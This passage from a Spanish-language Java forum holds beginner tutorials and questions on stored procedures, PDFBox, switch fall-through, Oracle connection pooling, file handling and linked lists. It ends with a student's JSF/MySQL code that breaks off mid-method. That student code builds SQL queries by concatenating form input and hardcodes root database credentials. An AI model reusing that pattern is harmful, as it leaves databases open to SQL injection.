Hola, para todos aquellos que tienen procedimientos almacenados en sus bases de datos y necesiten ejecutarlo desde una aplicacion Java aqui le muestro un ejemplo: Primeramente debemos crearnos un metodo que concatene el paquete del procedimiento, el nombre del procedimiento y sus respectivos parametros, este metodo puede ir en su clase de Utilerias: public class Utils { public static String llamarProcedimiento(String nombrePaquete, String nombreProcedimiento, int numeroParametros) { StringBuffer sb = new StringBuffer("{call " + nombrePaquete + "." + nombreProcedimiento + "("); for (int n = 1; n <= numeroParametros; n++) { sb.append("?"); if (n < numeroParametros) { sb.append(","); } } return sb.append(")}").toString();

} } Despues en su clase de constantes puede declarar un atributo que mande a llamar al metodo anteriormente creado: public class Constantes { public static String PROCEDIMIENTO = Utils.llamarProcedimiento("nombre_del_paquete", "nombre_procedimiento_almacenado", 3); } Y finalmente en su clase DAO mandar a llamar al atributo PROCEDIMIENTO de la clase Constantes: public void ejecutarProcedimiento(int parametro1, int parametro2, String parametro3) throws Exception { Connection con = null; CallableStatement cs = null; try { con = ... //Obtenemos la conexion a la Bade de Datos cs = con.prepareCall(Constantes.PROCEDIMIENTO); // Mandamos a llamar al atributo PROCEDIMIENTO de nuestra clase de Constantes // Cargamos los parametros de entrada cs.setInt(1, parametro1); cs.setInt(2, parametro2); cs.setString(3, parametro3); // Ejecutamos cs.execute(); } catch (Exception e) { throw new Exception(e); //Propagamos la Excepcion } finally { if(cs != null) //Finalizamos cerrando el CallableStatement cs.close(); if(con != null) //Finalizamos cerrando la conexion con.close();

} } Este codigo lo probe con un procedimiento almacenado en Oracle, pero deberia ser trasparente para cualquier gestor de base de datos que se este usando. Nota: en el DAO es necesario importar la libreria: java.sql.CallableStatement; Hola rvillanuevap, con respectos a tu primer pregunta, mi respuesta es SI, es lo mismo mandar a llamar un procedimiento almacenado o una funcion, y en cuanto a tu segunda pregunta, puedes obtener el resultado en un ResultSet y mostrarlo de una manera muy parecida como lo harias con una consulta, ejemplo: public void ejecutarProcedimiento(...) throws Exception { Connection con = null; CallableStatement cs = null; try { con = ... //Obtenemos la conexion a la Bade de Datos cs = con.prepareCall(...); // Registramos el parmetro como de salida, // indicando que devuelve un nmero entero cs.registerOutParameter( 1, Types.INTEGER); // Ejecutamos el procedimiento almacenado ResultSet resultado = cs.executeQuery(); // Leemos el parmetro de salida del procedimiento, // almacenndolo en un entero int i = cs.getInt(1); if (cs.wasNull()) { System.out.println("Resultado nulo"); } else { System.out.print("Valor devuelto: " +i); } } catch (Exception e) { throw new Exception(e); //Propagamos la Excepcion } finally { if (cs != null) //Finalizamos cerrando el CallableStatement {

cs.close(); } if (con != null) //Finalizamos cerrando la conexion { con.close(); } } }

Aportacin Java Mxico - PCJ -Leer un PDF desde una url con PDFBox
Hace poco tiempo me tope con la necesidad de leer documentos pdf desde un servidor para obtener el texto y sus propiedades, por lo que tuve que investigar que apis permiten la manipulacin de un pdf, me tope con un buen blog el cual te explica como hacerlo con PDFBox a mi parecer esta muy entendible y me sirvi para mi propsito, lo nico que hice fue modificarlo un poco acorde a mis necesidades, el link del blog que mencione anteriormente es : http://noelia-java.blogspot.com/2009/07/leer-pdf-desde-java.html Las clases que genere son las siguientes: Para el modelo donde se almacenara la informacin del pdf: /** * * @author sakura */ public class EntidadPDF { private String titulo; private String autor; private int numeroDePaginas; private String tema; private String palabrasClave; private String creador; private String productor; private String contenido;//el contenido completo del documento public String getAutor() { return autor; }

public void setAutor(String autor) { this.autor = autor; } public String getContenido() { return contenido; } public void setContenido(String contenido) { this.contenido = contenido; } public String getCreador() { return creador; } public void setCreador(String creador) { this.creador = creador; } public int getNumeroDePaginas() { return numeroDePaginas; } public void setNumeroDePaginas(int numeroDePaginas) { this.numeroDePaginas = numeroDePaginas; } public String getPalabrasClave() { return palabrasClave; } public void setPalabrasClave(String palabrasClave) { this.palabrasClave = palabrasClave; } public String getProductor() { return productor; } public void setProductor(String productor) { this.productor = productor; } public String getTema() { return tema; }

public void setTema(String tema) { this.tema = tema; } public String getTitulo() { return titulo; } public void setTitulo(String titulo) { this.titulo = titulo; } } El mtodo que leera el pdf dada una url esta contenido en la siguiente clase import import import import import import import import import java.io.FileInputStream; java.io.FileNotFoundException; java.io.IOException; java.io.InputStream; java.net.URL; org.pdfbox.pdfparser.PDFParser; org.pdfbox.pdmodel.PDDocument; org.pdfbox.pdmodel.PDDocumentInformation; org.pdfbox.util.PDFTextStripper;

/** * * @author sakura */ public class ContenedorPDF { private FileInputStream file = null; private PDDocument document = null; /** * Abre el archivo especificado en la ruta para generar un objeto de tipo EntidadPDF * @param archivo * @return */ public EntidadPDF convertirAModelo(String archivo) { EntidadPDF entPdf = new EntidadPDF(); try {

//leemos el pdf dada una url URL url = new URL(archivo); InputStream is = url.openStream(); PDFParser parser = new PDFParser(is); parser.parse(); document = parser.getPDDocument(); //Obtenemos todo el contenido del pdf PDFTextStripper stripper = new PDFTextStripper(); entPdf.setContenido(stripper.getText(document)); //obtenemos la informacion de las propiedades del pdf PDDocumentInformation info = document.getDocumentInformation(); entPdf.setTitulo(info.getTitle()); entPdf.setAutor(info.getAuthor()); entPdf.setNumeroDePaginas(document.getNumberOfPag es()); entPdf.setTema(info.getSubject()); entPdf.setPalabrasClave(info.getKeywords()); entPdf.setCreador(info.getCreator()); entPdf.setProductor(info.getProducer()); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) {//no se pudo abrir el archivo e.printStackTrace(); } finally { if (file != null) { try { file.close(); } catch (IOException e) {//no se pudo cerrar el archivo e.printStackTrace(); } } if (document != null) { try { document.close(); } catch (IOException e) {//no se pudo cerrar el documento e.printStackTrace();

} } } return entPdf; } } Bien espero y le sea de ayuda, una vez que tenemos el texto del pdf como String podemos ocupar esta informacin para diferentes propsitos, les dejo otro link de otras apis que permiten la manipulacin de un pdf http://www.qoppa.com/

error al implementar
Submitted by ripr on Sb, 07/02/2011 - 11:50. sakura, he copiado tu codigo creo un clase de prueba pero, me genera un error. Espero me puedas guiar que en donde lo estoy haciendo mal, ya que tambien necesito sacar el texto de un pdf. agrego el codigo que hice y el error que me lanza. public class test { public static void main(String[] args) { ContenedorPDF pdf=new ContenedorPDF(); EntidadPDF archivo; archivo=pdf.convertirAModelo("http://www.uv.es/ivorra /Latex/LaTeX.pdf"); System.out.println(archivo.getAutor()); } } error run: Exception in thread "main" java.lang.NoClassDefFoundError: org/fontbox/cmap/CMapParser at org.pdfbox.pdmodel.font.PDFont.parseCmap(PDFont.java:534) at org.pdfbox.pdmodel.font.PDFont.encode(PDFont.java:387) at org.pdfbox.util.PDFStreamEngine.showString(PDFStreamEngine.ja va:325) at org.pdfbox.util.operator.ShowText.process(ShowText.java:64) at

org.pdfbox.util.PDFStreamEngine.processOperator(PDFStreamEngi ne.java:452) at org.pdfbox.util.PDFStreamEngine.processSubStream(PDFStreamEng ine.java:215) at org.pdfbox.util.PDFStreamEngine.processStream(PDFStreamEngine .java:174) at org.pdfbox.util.PDFTextStripper.processPage(PDFTextStripper.j ava:336) at org.pdfbox.util.PDFTextStripper.processPages(PDFTextStripper. java:259) at org.pdfbox.util.PDFTextStripper.writeText(PDFTextStripper.jav a:216) at org.pdfbox.util.PDFTextStripper.getText(PDFTextStripper.java: 149) at nuevo.ContenedorPDF.convertirAModelo(ContenedorPDF.java:30) at nuevo.test.main(test.java:6) Caused by: java.lang.ClassNotFoundException: org.fontbox.cmap.CMapParser at java.net.URLClassLoader$1.run(URLClassLoader.java:202) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(URLClassLoader.java:190) at java.lang.ClassLoader.loadClass(ClassLoader.java:306) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301) at java.lang.ClassLoader.loadClass(ClassLoader.java:247) ... 13 more Java Result: 1 GENERACIN CORRECTA (total time: 4 seconds) saludos y ojala y me puedas ayudar

Practica, Un Men de operaciones a travz de mtodos.

Hola gente,
me llamo Jos Manuel y soy un estudiante de ISC, llevo das en la pagina y por fin me decid a aportar algo para la comunidad. Si bien es verdad que el cdigo es sencillo y bsico es solo una practica a fin de cuentas. Bueno la cosa se trata de lo siguiente por si aun no me eh explicado correctamente, el programa es totalmente en texto y trata de un men que contiene 3 diferentes opciones la primera se trata de un mtodo que nos realiza cualquier tabla de multiplicar, la segunda opcin nos realiza una sumatoria del numero que le indiquemos, y la tercer opcin es para salir del programa. Veamos a hora el cdigo: //Programa que realiza operaciones con el uso del switch, for, while y do-while //con el uso de mtodos import java.io.*; public class menuopemet { public void multi(BufferedReader leer_dato)throws IOException { int numero, contador=1; BufferedReader leer=new BufferedReader(new InputStreamReader(System.in)); System.out.print("Numero de la tabla que quiere multiplicar: "); numero=Integer.parseInt(leer.readLine()); do{ System.out.println(numero+"X"+contador+"="+(numero*contad or)); contador++; } while(contador<=10); } public void sumato(BufferedReader leer_dato)throws IOException { int dato,i,sumatoria; BufferedReader leer=new BufferedReader(new InputStreamReader(System.in)); System.out.print("El numero del que quiere hacer la sumatoria: "); dato=Integer.parseInt(leer.readLine()); for(i=1, sumatoria=0; i<=dato; sumatoria=sumatoria+i,

i++) { } System.out.print("La sumatoria del "+dato+" es "+sumatoria+"\n"); } public static void main(String args[])throws IOException { int opcion; menuopemet obj=new menuopemet() ; BufferedReader leer=new BufferedReader(new InputStreamReader(System.in)); do{ System.out.println("***Menu***"); System.out.println("1.-Multiplicacion"); System.out.println("2.-Sumatoria"); System.out.println("3.-Salir"); System.out.print("--Escoja una opcion:"); opcion=Integer.parseInt(leer.readLine()); switch(opcion) { case 1:obj.multi(leer);break; case 2:obj.sumato(leer);break; case 3:System.out.println("Bay...");break; default:System.out.println("Escoja una opcion valida"); } } while(opcion!=3); } } Con este pequeo cdigo ustedes pueden ir cambiando cosas y mejorndolo son libres de hacerlo, la cosa es que aprendamos ms. Si para algunos hay cosas que no comprenden en el cdigo, tomense la libertad de comentarlo y trataremos de solucionarlo, por otra parte si el cdigo no es muy bsico para ustedes y quisieran aprender me animara a postear practicas explicando parte por parte(admito que esto es lo que quisiera). No les mentir y les dir que soy un "pro" en programacin soy solo un principiante pero con muchos deseos de aprender y de compartir el conocimiento.
Pues bien ese seria el cdigo de nuestro programa, se que la mayora de ustedes son profesionales en programacin

o a la mejor no, pero son muy buenos programadores y que simplemente pudieran llegar a ver esto como una perdida de tiempo. Por eso es que estas lineas de cdigo van dirigidos a quienes van comenzando(aunque tambin es para todos claro). Pero la verdad es que me gustara ver un Mxico lleno de programadores jeje y no solo nosotros sino que toda latinoamericana y el mundo se llenara de programadores que tuvieran ese conocimiento, se que soy algo soador pero si esto ayuda en algo lo har tanto como pueda o haga falta.

Espero y haya sido de su agrado.

Observacin en el comportamiento de la sentencia SWITCH.


Hola a todos aqu al estar repasando mis notas me encontr con una curiosidad (Al menos para mi lo es) respecto al funcionamiento de la sentencia SWITCH que quisiera compartir con ustedes, la verdad, no s si ya lo habrn notado, pero al menos estoy seguro que muchos no tienen ni idea de lo confuso que pudiera ser el funcionamiento de una sentencia SWITCH (Y refirindome ms hacia las personas que an dan sus primeros pasos en J2SE). Si tenemos el siguiente cdigo: int x = 2; switch (x) { case 2: System.out.println("2"); default: System.out.println("default"); case 3: System.out.println("3"); case 4: System.out.println("4"); } El resultado es el siguiente: 2 default 3 4 Si tenemos ahora el siguiente cdigo: int x = 7; switch (x) { case 2: System.out.println("2"); default: System.out.println("default"); case 3: System.out.println("3");

case 4: System.out.println("4"); } El resultado es el siguiente: default 3 4 Lo ejemplos anteriores me hicieron entender lo siguiente: "En cuanto se encuentra un default, inmediatamente se ejecuta y se ejecutarn tambin los cases restantes en cascada(Por no tener sus respectivos breaks claro)". Pues bien, no s si ustedes hayan pensado lo mismo, pero luego al estar haciendo pruebas me encontr con los siguientes resultados: Si tenemos este cdigo: int x = 2; switch (x) { case 3: System.out.println("3"); default: System.out.println("default"); case 2: System.out.println("2"); case 4: System.out.println("4"); } El resultado es el siguiente: 2 4 Y finalmente, si tenemos el siguiente cdigo: int x = 5; switch (x) { case 3: System.out.println("3"); default: System.out.println("default"); case 2: System.out.println("2"); case 4: System.out.println("4"); } El resultado que obtendremos ser: default 2 4 Lo que me hizo notar que lo que pens anteriormente estaba mal, y en realidad la forma en que trabaja el bloque switch, es como si al momento de entrar el ya supiera de antemano si el valor que se busca lo tiene o no lo tiene, si lo tiene, se espera a encontrarlo para

ejecutarlo y si no lo tiene, sabr que al momento de llegar al default, inmediatamente entrar para ejecutarlo. Bueno, nicamente quera compartir esta observacin con ustedes, por que yo no s si sea muy obvio, o si muchos de ustedes ya saban, pero como la mayora de las veces, ponemos los cases en orden ascendente y el default de ltimo, apuesto que muchos no habrn notado este funcionamiento. Es algo confuso!!. Me encantara que dejaran sus comentarios al respecto. Y espero esto les ayude a varios.

Universal Connection Pool para Driver JDBC de Oracle


Al construir aplicaciones web en java, es muy importante manejar las conexiones a base de datos mediante connection pooling para hacer un uso adecuado de los recursos de la base de datos. Tomcat cuenta con su propia implementacion de connection pooling que se puede aplicar a cualquier driver JDBC llamado DBCP, pero, desgraciadamente esta implentacion de pooling a menudo falla al cerrar las conexiones por lo que acaba desperdiciando recursos del servidor. El Driver JDBC de Oracle cuenta con 2 modos de pooling que si bien son mas confiables a la hora de recuperar recursos tampoco estan libres de problemas: 1. Pooling Explicito (oracle.jdbc.pool.OracleConnectionCacheImpl)Obsoleto. Desventajas: inestabilidad por que no cuenta con capacidad intrinseca para validar conexiones 2. Pooling Implicito (oracle.jdbc.pool.OracleDataSource) :Obsoleto, Ventajas: Compatible con supervisin mediante LambdaProbe. Desventajas: Sigue sufriendo de inestabilidad, por sigue sin contar con capacidad intrinseca para validar conexiones Recientemente aparecio un tercer modo: UCP: Universal Connection Pool (oracle.ucp.jdbc.PoolDataSourceImpl) El modo recomendado por Oracle, supuestamente estable, puede validar conexiones, cuenta con una arquitectura unificada y portable que puede utilizarse no solo para pooling con Oracle si no tambien con otras bases de datos. Este modo de pooling cuenta con una documentacion mas o menos decente, pero con la importante carencia de no contar con ejemplos concretos de como configurarla, por ejemplo, para Tomcat, asi que me di a la tarea de encontrar el modo: Ejemplo de la configuracion requerida para tomcat:

<Resource name="jdbc/nombreRecursoJNDI" auth="Container" scope="Shareable" factory="oracle.ucp.jdbc.PoolDataSourceImpl" type="oracle.ucp.jdbc.PoolDataSource" connectionFactoryClassName="oracle.jdbc.pool.OracleDataSource" url="jdbc:oracle:thin:@direccionip:puerto:sid" user="*****" password="****" minPoolSize="10" maxPoolSize="20" validateConnectionOnBorrow="true" />

Lo interesante de esta nueva configuracion es la opcion validateConnectionOnBorrow que, de acuerdo con la documentacion de UCP deberia encargarse de evitar los errores tipicos de los 2 modos originales de pooling: Conexion Cerrada para una conexion que acabamos de obtener del pool, o El cache de conexiones ha caducado igualmente para cuando reclamamos una conexion del pool que no se habia utilizado desde hace un buen rato. Aun no he tenido oportunidad de probar UCP en condiciones de produccion, por lo que no estoy seguro de que efectivamente sea una mejoria, pero pienso hacerlo durante las proximas semanas (siempre que la severa limitacion del ClasspathHell de Tomcat me permita hacerlo). Una ves efectuadas las pruebas, las publicare aqui mismo.

Cdigo) Utilizando java.io.File


Que tal a todos, bueno pues esta es mi primera aportacin respecto a cdigo fuente. Realmente es algo bastante sencillo, y me sirvi para ordenar mis archivos de msica, no hace grandes cosas, pero al menos a mi me ha servido para resolver mi problema en particular, y digamos, que para no desperdiciar este pequeo cdigo (as como algunos no deseamos desperdiciar la comida, por decir algn ejemplo anlogo) ya que pensaba en eliminarlo, pens que tal vez a alguien le podra servir de referencia. Primeramente, entrar en detalle de cul la problemtica que intentaba resolver con este pequeo cdigo: Normalmente ordeno mis albums de msica en una carpeta con el nombre del artista y dentro de esa misma carpeta, encarpetaba individualmente cada uno de los albums del mismo artista. Y as tengo cientos de artistas y con sus respectivos albums. Hasta que un da pens que era difcil navegar por los archivos de mp3, ya que tena que

estar entrando y saliendo a travs de mltiples carpetas y decid mejor poner en raz todos los albums de todos los artistas con el siguiente formato para que as los archivos no estn navegando como una "sopa de albums": artista - [] album (Y entre los corchetes opcionalmente poner el ao en que se creo el album, claro, eso tendra que ser manualmente e independiente de este pequeo programa, por que esa informacin, no la tengo para todos mis archivos). Ahora bien aqu les copio y pego el cdigo: /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package albums; import java.io.File; /** * * @author cfpmx */ public class Main { /** * @param args the command line arguments */ public static void main(String[] args) throws java.io.IOException { // TODO code application logic here File raiz = new File( "artistas" ); String[] raizdir = raiz.list(); for( String nomArtista : raizdir ) { File avance = new File( "./artistas/" + nomArtista ); for( File nomAlbum : avance.listFiles() ){ String renom = nomArtista + " - [] " + nomAlbum.getName(); System.out.println( renom ); File renombrar = new File( renom ); nomAlbum.renameTo( renombrar ); System.out.println( nomAlbum.getName() ); }

} } } Este programa lo he creado con netbeans, cree un directorio "artistas" en el proyecto y por default ah pegu las carpetas de los artistas que contenan los albums. Creo que esto es todo, si tienen dudas o problemas al ejecutarlo, no duden en preguntarme y finalmente, no acepto crticas pero si comentarios, ya que este cdigo como les mencion anteriormente fue EXPRESS y definitivamente le podemos componer, quitar o aadir las cosas que se nos venga en mente y mi nica intensin fue en que probablemente a alguien le pudiera servir tal vez para fines didcticos. Hasta pronto, y muchos saludos. Atentamente, cfpmx. PD: Les dejo el proyecto: http://cid23c5625615d3fbdb.skydrive.live.com/self.aspx/.Public/javamexi...

Leer un archivo de texto


/*********************************************** //Jesus Sanchez Cruz //e-mail: creooo@hotmail.com //INSTITUTO TECNOLOGICO DE OAXACA //Licenciatura en Informatica **********************************************/ import java.io.*; public class LeeFichero { public static void main(String [] arg) { File archivo = null; FileReader fr = null; BufferedReader br = null; try { // Apertura del fichero y creacion de BufferedReader para poder // hacer una lectura comoda (disponer del metodo readLine()). archivo = new File ("LeeFichero.java"); fr = new FileReader (archivo); br = new BufferedReader(fr); // Lectura del fichero String linea;

while((linea=br.readLine())!=null) System.out.println(linea); } catch(Exception e){ e.printStackTrace(); }finally{ // En el finally cerramos el fichero, para asegurarnos // que se cierra tanto si todo va bien como si salta // una excepcion. try{ if( null != fr ){ fr.close(); } }catch (Exception e2){ e2.printStackTrace(); } } } }

Estructura de datos java (Listas simplemente enlazadas) Primer aporte


Buenas madrugadas a todos, aqu dejo un simple aporte, espero no este posteado ya, y espero les sea muy til, saludos! /* * Lista Simplemente enlazada. * */ /** * * @author Pain */ //Clase Nodo. Utiliza el enlace llamado nodoDer o nodo derecho y el valor a introducir. public class Nodo { Nodo nodoDer; int dato; public Nodo(int dato) { this.dato = dato;

this.nodoDer = null; } } /* * Clase de Lista enlazada y metodos de agregar al final y borrar del mismo, asi como mostrar tamao y visualizar lista. * */ import javax.swing.JOptionPane; /** * * @author Pain */ public class ListaS { private Nodo primero; private Nodo ultimo; private int tamano; public ListaS() { this.primero = null; this.ultimo = null; this.tamano = 0; } //Metodo utilizado para denotar que la lista se encuentra vacia. public boolean siVacio() { return (this.primero == null); } //Metodo para agregar al final de la lista. public ListaS addLast(int dato) { if(siVacio()) { Nodo nuevo = new Nodo(dato); primero = nuevo; ultimo = nuevo; nuevo.nodoDer = nuevo; } else { Nodo nuevo = new Nodo(dato); nuevo.nodoDer = null; ultimo.nodoDer = nuevo; ultimo = nuevo;

} this.tamano++; return this; } //Metodo para borrar al final de la lista. public Nodo deleteLast() { Nodo eliminar = null; if(siVacio()) { JOptionPane.showMessageDialog(null, "La lista se encuentra vacia"); return null; } if(primero == ultimo) { primero = null; ultimo = null; } else { Nodo actual = primero; while(actual.nodoDer != ultimo) { actual = actual.nodoDer; } eliminar = actual.nodoDer; actual.nodoDer = null; ultimo = actual; } this.tamano--; return eliminar; } //Metodo que imprime el tamao de la lista. public void tamano() { JOptionPane.showMessageDialog(null, "El tamao es:\n " + this.tamano); } //Metodo que imprime la lista y los valores ingresados. public void imprimir() { if(tamano != 0) { Nodo temp = primero; String str = ""; for(int i = 0; i < this.tamano; i++) { str = str + temp.dato + "\n"; temp = temp.nodoDer; } JOptionPane.showMessageDialog(null, str);

} } } Espero que de alguna manera les sea de utilidad este cdigo. Saludos Comunidad. Con Generics podrias manejar listas de un cierto tipo de objeto. Y si el mtodo de tamano() devuelve un int con el tamao en vez de imprimir un dilogo, entonces ya no depende de Swing y se puede usar en aplicaciones sin interfaz grfica o en web, etc. En la clase Nodo, la propiedad nodoDer debera ser privada y la clase debe tener accesores para modificarlo. La propiedad dato en vez de int puede ser genrica, algo asi: public class Nodo<T> { private Nodo<T> sig; private T dato; public Nodo(T data) { dato = data; } public Nodo(T data, Nodo<T> sig) { dato = data; this.sig = sig; } public void setSiguiente(Nodo<T> sig) { this.sig = sig; } public Nodo<T> getSiguiente() { return sig; } public T getDato() { return dato; } } De igual manera la lista la haces genrica para poder manejar listas que almacenen datos de cualquier clase.

como se guardan eliminar y borran datos en netbeans 6.5 y MySQL


Submitted by carolina salced... on Dom, 05/24/2009 - 18:44.

Hola soy de colombia estudio analisis y diseo de sistemas de informacion tengo una duda no se por que me ha generado error el siguiente codigo me puden ayudar por favor es para la entrega de mi proyecto y no he podido avanzar ya esta los enlaces hechos en la base de datos trabajo con mysql y bueno no me genera error pero tampoco hace el proceso y cuando voy a guardar no lo hace /* * To change this template, choose Tools | Templates * and open the template in the editor. */ package proyecto; import com.sun.rave.web.ui.appbase.AbstractPageBean; import com.sun.webui.jsf.component.Alert; import com.sun.webui.jsf.component.Button; import com.sun.webui.jsf.component.Calendar; import com.sun.webui.jsf.component.Form; import com.sun.webui.jsf.component.Label; import com.sun.webui.jsf.component.TextField; import javax.faces.FacesException; import javax.faces.event.ValueChangeEvent; import javax.swing.JTable; import javax.swing.table.DefaultTableModel; /** * Page bean that corresponds to a similarly named JSP page. This * class contains component definitions (and initialization code) for * all components that you have defined on this page, as well as * lifecycle methods and event handlers where you may add behavior * to respond to incoming events. * * @version personal.java * @version Created on 1/04/2009, 07:20:03 AM * @author C.A.S.A */ public class personal extends AbstractPageBean { // /** *

Automatically managed component initialization. WARNING: * This method is automatically generated, so any user-specified code inserted * here is subject to being replaced. */ private void _init() throws Exception { } private TextField nombre = new TextField(); public TextField getNombre() { return nombre; } public void setNombre(TextField tf) { this.nombre = tf; } private TextField apellido = new TextField(); public TextField getApellido() { return apellido; } public void setApellido(TextField tf) { this.apellido = tf; } private TextField telefono = new TextField(); public TextField getTelefono() { return telefono; } public void setTelefono(TextField tf) { this.telefono = tf; } private TextField direccion = new TextField(); public TextField getDireccion() { return direccion; } public void setDireccion(TextField tf) { this.direccion = tf; } private TextField cargo = new TextField();

public TextField getCargo() { return cargo; } public void setCargo(TextField tf) { this.cargo = tf; } private Calendar fecha_ingreso = new Calendar(); public Calendar getFecha_ingreso() { return fecha_ingreso; } public void setFecha_ingreso(Calendar c) { this.fecha_ingreso = c; } private Calendar fecha_salida = new Calendar(); public Calendar getFecha_salida() { return fecha_salida; } public void setFecha_salida(Calendar c) { this.fecha_salida = c; } private TextField tipo_capacitacion = new TextField(); public TextField getTipo_capacitacion() { return tipo_capacitacion; } public void setTipo_capacitacion(TextField tf) { this.tipo_capacitacion = tf; } private Label label2 = new Label(); public Label getLabel2() { return label2; } public void setLabel2(Label l) { this.label2 = l; } private Label label3 = new Label();

public Label getLabel3() { return label3; } public void setLabel3(Label l) { this.label3 = l; } private Label label4 = new Label(); public Label getLabel4() { return label4; } public void setLabel4(Label l) { this.label4 = l; } private Label label5 = new Label(); public Label getLabel5() { return label5; } public void setLabel5(Label l) { this.label5 = l; } private Label label6 = new Label(); public Label getLabel6() { return label6; } public void setLabel6(Label l) { this.label6 = l; } private Label label7 = new Label(); public Label getLabel7() { return label7; } public void setLabel7(Label l) { this.label7 = l; } private Label label8 = new Label();

public Label getLabel8() { return label8; } public void setLabel8(Label l) { this.label8 = l; } private Label label9 = new Label(); public Label getLabel9() { return label9; } public void setLabel9(Label l) { this.label9 = l; } private Button guardar = new Button(); public Button getGuardar() { return guardar; } public void setGuardar(Button b) { this.guardar = b; } private Button consulta2 = new Button(); public Button getConsulta2() { return consulta2; } public void setConsulta2(Button b) { this.consulta2 = b; } private Form form2 = new Form(); public Form getForm2() { return form2; } public void setForm2(Form f) { this.form2 = f; } private TextField id_empleado2 = new TextField();

public TextField getId_empleado2() { return id_empleado2; } public void setId_empleado2(TextField tf) { this.id_empleado2 = tf; } // /** * Construct a new Page bean instance. */ public personal() { } /** * Callback method that is called whenever a page is navigated to, * either directly via a URL, or indirectly via page navigation. * Customize this method to acquire resources that will be needed * for event handlers and lifecycle methods, whether or not this * page is performing post back processing. * * Note that, if the current request is a postback, the property * values of the components do not represent any * values submitted with this request. Instead, they represent the * property values that were saved for this view when it was rendered. */ @Override public void init() { // Perform initializations inherited from our superclass super.init(); // Perform application initialization that must complete // *before* managed components are initialized // TODO - add your own initialiation code here

// // Initialize automatically managed components // *Note* - this logic should NOT be modified try { _init(); } catch (Exception e) { log("personal Initialization Failure", e); throw e instanceof FacesException ? (FacesException) e: new FacesException(e); } // // Perform application initialization that must complete // *after* managed components are initialized // TODO - add your own initialization code here } /** * Callback method that is called after the component tree has been * restored, but before any event processing takes place. This method * will only be called on a postback request that * is processing a form submit. Customize this method to allocate * resources that will be required in your event handlers. */ @Override public void preprocess() { } /** * Callback method that is called just before rendering takes place. * This method will only be called for the page that * will actually be rendered (and not, for example, on a page that * handled a postback and then navigated to a different page). Customize * this method to allocate resources that will be required for rendering * this page. */ @Override public void prerender() { } /** *

Callback method that is called after rendering is completed for * this request, if init() was called (regardless of whether * or not this was the page that was actually rendered). Customize this * method to release resources acquired in the init(), * preprocess(), or prerender() methods (or * acquired during execution of an event handler). */ @Override public void destroy() { } public void checkbox1_processValueChange(ValueChangeEvent event) { } public String consulta2_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page. return "case2"; } private TextField area1 = new TextField(); public TextField getArea1() { return area1; } public void setArea1(TextField tf) { this.area1 = tf; } private Alert alert2 = new Alert(); public Alert getAlert2() { return alert2; } public void setAlert2(Alert a) { this.alert2 = a; } private Alert alert1 = new Alert(); public Alert getAlert1() { return alert1; }

public void setAlert1(Alert a) { this.alert1 = a; } public String guardar_action() { JTable dat=new JTable(); DefaultTableModel j=(DefaultTableModel) dat.getModel(); dat.setModel(j); j.setColumnCount(7); j.setRowCount(1); j.setValueAt(id_empleado2.getText(), 0, 0); j.setValueAt(nombre.getText(), 0, 1); j.setValueAt(apellido.getText(), 0, 2); j.setValueAt(telefono.getText(), 0, 3); j.setValueAt(direccion.getText(), 0, 4); j.setValueAt(cargo.getText(), 0, 5); j.setValueAt(fecha_ingreso.getText(), 0, 6); j.setValueAt(fecha_salida.getText(), 0, 7); j.setValueAt(tipo_capacitacion.getText(), 0, 8); if(comprobar()){ //desactivo el boton de guardar //creo la conexion a la base de datos conection c=new conection("localhost/porcinos","root","123456"); //guardo la consulta en un string y le concateno el valor del jtextfield junto con los de la tabla String consulta="INSERT INTO porcinos.personal ('id_empleado', 'nombre', 'apellido', 'telefono', 'direccion', 'cargo', 'fecha_ingreso','fecha_salida','tipo_capacitacion') VALUES('"+Integer.parseInt((String)j.getValueAt(0, 0))+"','"+(String)j.getValueAt(0, 1)+"','"+(String)j.getValueAt(0, 2)+"','"+Integer.parseInt((String)j.getValueAt(0, 3))+"','"+(String)j.getValueAt(0, 4)+"','"+(String)j.getValueAt(0, 5)+"','"+(String)j.getValueAt(0, 6)+"','"+(String)j.getValueAt(0,7)+"','"+(String)j.getValueAt(0, 8)+"')"; //lo debemos atrapar dentro de un TRY por que es una exception marcada. try{ //creamos el Statement para hacer consultas java.sql.Statement st=c.conection().createStatement(); /*aqui ejecutamos la consulta y la comprobamos ya que el metodo executeUpdate manda un int de las fias afectadas*/ if

(st.executeUpdate(consulta)==1){ //solo despliego un cuadro texto para dar aviso alert2.setVisible(false); alert1.setVisible(true); id_empleado2.setText(""); nombre.setText(""); apellido.setText(""); telefono.setText(""); direccion.setText(""); cargo.setText(""); fecha_ingreso.setText(""); fecha_salida.setText(""); tipo_capacitacion.setText(""); } else { alert2.setVisible(true); } } catch( java.sql.SQLException e){ e.printStackTrace(); alert2.setVisible (true); alert1.setVisible (false); } } return null; } public String button1_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page. return "case1"; } public String button4_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page.

return null; } public String button5_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page. return null; } public String INICIO_action() { // TODO: Process the action. Return value is a navigation // case name where null will return to the same page. return "case3"; } private boolean comprobar() { conection c=new conection("localhost/porcinos","root","123456"); //guardo la consulta en un string y le concateno el valor del jtextfield junto con los datos de la tabla //en esta consulta SQL deseo saber si ya existe tanto la matricula como el nombre String consulta="SELECT * FROM porcinos.personal WHERE (id_empleado='"+id_empleado2.getText()+"') AND (id_empleado='"+id_empleado2.getText()+"')"; //lo debemos atrapar dentro de un TRY por que es una exception marcada. try{ //creamos el Statement para hacer consultas java.sql.Statement st=c.conection().createStatement(); java.sql.ResultSet rs=st.executeQuery(consulta); //voy a comprobar si ya existe un registro. if(rs.next()){ //solo despliego un cuadro texto para dar aviso alert2.setVisible(true); alert1.setVisible(false); return false; }else{ //aqui verificare si ya Existe la Matricula consulta="SELECT * FROM porcinos.personal WHERE id_empleado='"+id_empleado2.getText()+"'"; rs=st.executeQuery(consulta); if(rs.next()){ //mando un mensaje en pantalla alert2.setVisible(true); alert1.setVisible(false); return false; }else{ //aqui verificare si ya Existe el Nombre

